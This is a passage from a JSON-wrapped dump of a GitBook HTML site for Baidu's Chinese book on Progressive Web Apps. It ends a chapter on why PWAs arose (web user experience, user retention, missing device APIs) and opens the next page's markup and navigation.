aria-hidden=\"true\"></i></a>&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0; PWA</h1>\n<p>PWA &#x662F; Progressive Web Apps &#x7684;&#x7F29;&#x5199;&#xFF0C;&#x7FFB;&#x8BD1;&#x4E3A;&#x6E10;&#x8FDB;&#x5F0F;&#x7F51;&#x7EDC;&#x5E94;&#x7528;&#x3002;&#x65E9;&#x5728; 2014 &#x5E74;&#xFF0C; W3C &#x5C31;&#x516C;&#x5E03;&#x8FC7; Service Worker &#x7684;&#x76F8;&#x5173;&#x8349;&#x6848;&#xFF0C;&#x4F46;&#x662F;&#x5176;&#x5728;&#x751F;&#x4EA7;&#x73AF;&#x5883;&#x88AB; Chrome &#x652F;&#x6301;&#x662F;&#x5728; 2015 &#x5E74;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x628A; PWA &#x7684;&#x5173;&#x952E;&#x6280;&#x672F;&#x4E4B;&#x4E00; Service Worker &#x7684;&#x51FA;&#x73B0;&#x4F5C;&#x4E3A; PWA &#x7684;&#x8BDE;&#x751F;&#x65F6;&#x95F4;&#xFF0C;&#x90A3;&#x5C31;&#x5E94;&#x8BE5;&#x662F; 2015 &#x5E74;&#x3002;&#x5728;&#x5173;&#x6CE8; PWA &#x662F;&#x4EC0;&#x4E48;&#x4E4B;&#x524D;&#xFF0C;&#x5148;&#x6765;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x4E3A;&#x4EC0;&#x4E48;&#x4F1A;&#x51FA;&#x73B0; PWA&#xFF0C;&#x5B83;&#x662F;&#x5728;&#x4EC0;&#x4E48;&#x6837;&#x7684;&#x80CC;&#x666F;&#x4E0B;&#x88AB;&#x63D0;&#x51FA;&#x6765;&#x7684;&#x3002;</p>\n<p>&#x56DE;&#x987E;&#x4E00;&#x4E0B;&#x5386;&#x53F2;&#xFF0C;&#x5728; 2015 &#x5E74;&#x4E4B;&#x524D;&#x7684;&#x90A3;&#x6BB5;&#x65F6;&#x95F4;&#xFF0C;&#x4F5C;&#x4E3A;&#x524D;&#x7AEF;&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#xFF0C;&#x6211;&#x4EEC;&#x4E3B;&#x8981;&#x7CBE;&#x529B;&#x82B1;&#x5728;&#x54EA;&#x91CC;&#xFF0C;&#x5BF9;&#x4E8E;&#x6211;&#x6765;&#x8BF4;&#xFF0C;&#x79FB;&#x52A8;&#x7AD9;&#x70B9;&#x7684;&#x6027;&#x80FD;&#x4F18;&#x5316;&#x662F;&#x6295;&#x5165;&#x7CBE;&#x529B;&#x5F88;&#x5927;&#x7684;&#x4E00;&#x90E8;&#x5206;&#xFF0C;&#x4F8B;&#x5982;&#x63D0;&#x5347;&#x9996;&#x5C4F;&#x901F;&#x5EA6;&#xFF0C;&#x52A8;&#x753B;&#x7684;&#x6D41;&#x7545;&#x5EA6;&#xFF0C;&#x7ECF;&#x8FC7;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x7684;&#x4F18;&#x5316;&#xFF0C;&#x6027;&#x80FD;&#x786E;&#x5B9E;&#x6709;&#x4E0D;&#x5C0F;&#x7684;&#x63D0;&#x5347;&#xFF0C;&#x4F46;&#x662F;&#x65E0;&#x8BBA;&#x600E;&#x4E48;&#x4F18;&#x5316;&#xFF0C;&#x8FD8;&#x662F;&#x6BD4; Native App &#x8981;&#x5DEE;&#x5F88;&#x591A;&#xFF0C;&#x59CB;&#x7EC8;&#x65E0;&#x6CD5;&#x7A81;&#x7834;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x4E0A; WebView &#x7ED9; Web &#x7684;&#x67B7;&#x9501;&#xFF0C;&#x8FD9;&#x5C31;&#x662F;&#x6211;&#x4EEC;&#x60F3;&#x8BF4;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#xFF0C;<strong>Web &#x7684;&#x7528;&#x6237;&#x4F53;&#x9A8C;</strong>&#x3002;</p>\n<p>&#x9664;&#x5F00;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x95EE;&#x9898;&#x4E4B;&#x5916;&#xFF0C;&#x8FD8;&#x6709;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x91CD;&#x8981;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x90A3;&#x5C31;&#x662F;<strong>&#x7528;&#x6237;&#x7559;&#x5B58;</strong>&#x3002;Native App &#x5B89;&#x88C5;&#x5B8C;&#x6BD5;&#x540E;&#x4F1A;&#x5728;&#x7528;&#x6237;&#x624B;&#x673A;&#x684C;&#x9762;&#x4E0A;&#x6709;&#x4E00;&#x4E2A;&#x5165;&#x53E3;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x6253;&#x5F00; App &#x53EA;&#x9700;&#x4E00;&#x6B21;&#x70B9;&#x51FB;&#xFF0C;&#x800C; Web App &#x5728;&#x79FB;&#x52A8;&#x65F6;&#x4EE3;&#x6700;&#x4E3B;&#x8981;&#x7684;&#x5165;&#x53E3;&#x8FD8;&#x662F;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#xFF0C;&#x7528;&#x6237;&#x4ECE;&#x6D4F;&#x89C8;&#x5668;&#x5230;&#x7AD9;&#x70B9;&#x9700;&#x8981;&#x7ECF;&#x8FC7;&#x641C;&#x7D22;&#x5F15;&#x64CE;&#xFF0C;&#x5982;&#x679C;&#x60F3;&#x8BBF;&#x95EE;&#x4E0A;&#x6B21;&#x540C;&#x6837;&#x7684;&#x5185;&#x5BB9;&#x751A;&#x81F3;&#x8FD8;&#x9700;&#x8981;&#x8BB0;&#x4F4F;&#x4E0A;&#x6B21;&#x7684;&#x641C;&#x7D22;&#x8BCD;&#xFF0C;&#x7528;&#x6237;&#x4E5F;&#x53EF;&#x4EE5;&#x8BB0;&#x4F4F; URL &#x5E76;&#x8FDB;&#x884C;&#x8F93;&#x5165;&#xFF0C;&#x4F46;&#x8FD9;&#x4E9B;&#x5BF9;&#x4E8E;&#x79FB;&#x52A8;&#x7528;&#x6237;&#x6765;&#x8BF4;&#xFF0C;&#x65E0;&#x7591;&#x6210;&#x672C;&#x5DE8;&#x5927;&#xFF0C;&#x8FD9;&#x5C31;&#x5BFC;&#x81F4; Web &#x7AD9;&#x70B9;&#x548C;&#x7528;&#x6237;&#x4E4B;&#x95F4;&#x7684;&#x7C98;&#x6027;&#x975E;&#x5E38;&#x8106;&#x5F31;&#x3002;Native App &#x8FD8;&#x80FD;&#x591F;&#x901A;&#x8FC7;&#x53D1;&#x9001;&#x901A;&#x77E5;&#x8BA9;&#x7528;&#x6237;&#x518D;&#x6B21;&#x56DE;&#x5230;&#x5E94;&#x7528;&#x4E2D;&#x6765;&#xFF0C;&#x800C; Web &#x6CA1;&#x6709;&#x8FD9;&#x4E2A;&#x80FD;&#x529B;&#x3002;</p>\n<p>&#x6700;&#x540E;&#x8981;&#x8BF4;&#x7684;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#x662F; 0 &#x548C; 1 &#x7684;&#x95EE;&#x9898;&#xFF0C;<strong>Device API &#x7684;&#x4E0D;&#x5B8C;&#x5584;</strong>&#x3002;Android &#x548C; iOS &#x63D0;&#x4F9B;&#x4E86;&#x975E;&#x5E38;&#x4E30;&#x5BCC;&#x7684;&#x8BBE;&#x5907; API&#xFF0C;Native App &#x53EA;&#x9700;&#x83B7;&#x53D6;&#x7528;&#x6237;&#x6388;&#x6743;&#x5C31;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#xFF0C;&#x800C;&#x5728; Web App &#x4E2D;&#xFF0C;\bWebView &#x6CA1;&#x6709;&#x63D0;&#x4F9B;&#x8FD9;&#x6837;&#x7684; API&#xFF0C;&#x5B8C;&#x5168;&#x6CA1;&#x6CD5;&#x4F7F;&#x7528;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x5F00;&#x53D1;&#x4E00;&#x4E2A;&#x9700;&#x8981;&#x4F7F;&#x7528; NFC &#x7684; App&#xFF0C;&#x4F60;&#x4E00;&#x5B9A;&#x4E0D;&#x4F1A;&#x8003;&#x8651; Web&#xFF0C;&#x56E0;&#x4E3A;&#x8FD1;&#x573A;&#x901A;&#x4FE1; API &#x5728; Web &#x4E2D;&#x8FD8;&#x6CA1;&#x6709;&#x3002;&#x867D;&#x7136;&#x5728;&#x8FD1;&#x5E74;&#x6765;&#xFF0C;W3C &#x5DF2;&#x7ECF;&#x63D0;&#x51FA;&#x4E86;&#x5F88;&#x591A;&#x65B0;&#x7684;&#x6807;&#x51C6;&#xFF0C;&#x4F46;&#x662F;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x4E8E; Device API &#x7684;&#x652F;&#x6301;&#x4ECD;&#x7136;&#x5F88;&#x4E0D;&#x5B8C;&#x5584;&#x3002;</p>\n<p>Google &#x5728;&#x4E00;&#x7BC7;&#x540D;&#x4E3A;&#x300A;<a href=\"https://developers.google.com/web/ilt/pwa/why-build-pwa\" target=\"_blank\">Why Build Progressive Web Apps</a>&#x300B;&#x7684;&#x6587;&#x7AE0;&#x4E2D;&#x62AB;&#x9732;&#x8FC7;&#x8FD9;&#x6837;&#x7684;&#x4E00;&#x7EC4;&#x6570;&#x636E;&#xFF0C;Web &#x7AD9;&#x70B9;&#x6BCF;&#x4E2A;&#x6708;&#x7684; UV &#x662F; Native App &#x7684; 3 &#x500D;&#xFF0C;&#x7136;&#x800C;&#x7528;&#x6237;&#x5728; Native App &#x82B1;&#x8D39;&#x7684;&#x65F6;&#x95F4;&#x5374;&#x662F; Web &#x7684; 20 &#x500D;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x8FD9;&#x4E4B;&#x95F4;&#x5DE8;&#x5927;&#x7684;&#x53CD;&#x5DEE;&#xFF0C;&#x548C;&#x4E0A;&#x9762;&#x6240;&#x8BF4;&#x7684;\b&#x4E09;&#x4E2A;&#x539F;&#x56E0;&#x606F;&#x606F;&#x76F8;&#x5173;&#x3002;</p>\n<p><img src=\"img/web_vs_na_uv_user_duration.png\" alt=\"Web &#x7AD9;&#x70B9;&#x4E0E; Native App &#x7684; UV &#x548C;&#x7528;&#x6237;&#x65F6;&#x957F;&#x5BF9;&#x6BD4;\"></p>\n<p>&#x5C31;&#x5728;&#x8FD9;&#x6837;&#x7684;&#x80CC;&#x666F;&#x6761;&#x4EF6;&#x4E0B;&#xFF0C;PWA &#x4EE5;&#x53CA;&#x652F;&#x6491; PWA &#x7684;&#x4E00;&#x7CFB;&#x5217;&#x5173;&#x952E;&#x6280;&#x672F;&#x5E94;&#x8FD0;&#x800C;&#x751F;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"../chapter01.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 第1章 PWA 介绍\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"2-what-is-pwa.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 1.2 什么是 PWA\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"1.1 为什么会出现 PWA\",\"level\":\"1.2.1\",\"depth\":2,\"next\":{\"title\":\"1.2 什么是 PWA\",\"level\":\"1.2.2\",\"depth\":2,\"path\":\"chapter01/2-what-is-pwa.md\",\"ref\":\"chapter01/2-what-is-pwa.md\",\"articles\":[]},\"previous\":{\"title\":\"第1章 PWA 介绍\",\"level\":\"1.2\",\"depth\":1,\"path\":\"chapter01.md\",\"ref\":\"chapter01.md\",\"articles\":[{\"title\":\"1.1 为什么会出现 PWA\",\"level\":\"1.2.1\",\"depth\":2,\"path\":\"chapter01/1-how-was-pwa-born.md\",\"ref\":\"chapter01/1-how-was-pwa-born.md\",\"articles\":[]},{\"title\":\"1.2 什么是 PWA\",\"level\":\"1.2.2\",\"depth\":2,\"path\":\"chapter01/2-what-is-pwa.md\",\"ref\":\"chapter01/2-what-is-pwa.md\",\"articles\":[]},{\"title\":\"1.3 PWA 的核心技术\",\"level\":\"1.2.3\",\"depth\":2,\"path\":\"chapter01/3-what-are-key-techs.md\",\"ref\":\"chapter01/3-what-are-key-techs.md\",\"articles\":[]},{\"title\":\"1.4 PWA 的发展\",\"level\":\"1.2.4\",\"depth\":2,\"path\":\"chapter01/4-how-is-pwa-going.md\",\"ref\":\"chapter01/4-how-is-pwa-going.md\",\"articles\":[]},{\"title\":\"1.5 PWA 的未来\",\"level\":\"1.2.5\",\"depth\":2,\"path\":\"chapter01/5-the-future-of-pwa.md\",\"ref\":\"chapter01/5-the-future-of-pwa.md\",\"articles\":[]},{\"title\":\"1.6 你的第一个 PWA\",\"level\":\"1.2.6\",\"depth\":2,\"path\":\"chapter01/6-your-first-pwa.md\",\"ref\":\"chapter01/6-your-first-pwa.md\",\"articles\":[]}]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter01/1-how-was-pwa-born.md\",\"mtime\":\"2019-06-19T10:37:41.913Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter01/2-what-is-pwa.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>1.2 什么是 PWA · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"3-what-are-key-techs.html\" />\n    \n    \n    <link rel=\"prev\" href=\"1-how-was-pwa-born.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"1-how-was-pwa-born.html\">\n            \n                <a href=\"1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.2.2\" data-path=\"2-what-is-pwa.html\">\n            \n                <a href=\"2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"3-what-are-key-techs.html\">\n            \n                <a href=\"3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"4-how-is-pwa-going.html\">\n            \n                <a href=\"4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"5-the-future-of-pwa.html\">\n            \n                <a href=\"5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"6-your-first-pwa.html\">\n            \n                <a href=\"6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            